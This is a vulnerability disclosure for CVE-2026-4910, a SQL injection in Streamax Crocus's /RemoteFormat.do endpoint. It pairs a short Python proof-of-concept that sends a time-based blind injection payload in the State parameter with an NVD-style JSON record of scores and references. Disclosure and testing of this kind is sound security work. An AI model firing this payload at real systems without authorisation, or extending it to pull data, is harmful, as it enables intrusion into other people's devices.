CVE-2026-4910

# PoC for CVE-2026-4910 # Target: Streamax Crocus <= 1.3.44 # Endpoint: /RemoteFormat.do # Vulnerable Parameter: State import requests def check_sql_injection(target_url): # Construct the malicious payload for time-based blind SQL injection # The payload attempts to cause a delay of 5 seconds if the injection is successful payload = "1' AND SLEEP(5)-- -" # Data to be sent in the POST request data = { "State": payload } try: print(f"[+] Sending request to {target_url}/RemoteFormat.do...") response = requests.post(f"{target_url}/RemoteFormat.do", data=data, timeout=10) # Check if the response time indicates successful injection (approximate) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! The application responded with a delay.") print(f"[+] Response Status: {response.status_code}") else: print("[-] Vulnerability not detected or payload failed.") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with the actual target IP or domain target = "http://192.168.1.100" check_sql_injection(target)

{"cve": {"id": "CVE-2026-4910", "sourceIdentifier": "[email protected]", "published": "2026-03-27T04:16:08.043", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in Shenzhen Ruiming Technology Streamax Crocus up to 1.3.44. Affected is an unknown function of the file /RemoteFormat.do of the component Endpoint. Such manipulation of the argument State leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way."}, {"lang": "es", "value": "Una vulnerabilidad de seguridad ha sido detectada en Shenzhen Ruiming Technology Streamax Crocus bis 1.3.44. Afectada es una función desconocida del archivo /RemoteFormat.do del componente Endpoint. Tal manipulación del argumento State conduce a inyección SQL. Es posible lanzar el ataque remotamente. El exploit ha sido divulgado públicamente y puede ser utilizado. El proveedor fue contactado tempranamente sobre esta divulgación pero no respondió de ninguna manera."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://my.feishu.cn/docx/QZU6dXZBBoBeLMx4K28cW1BEnsZ?from=from_copylink", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.353661", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.353661", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.777507", "source": "[email protected]"}]}}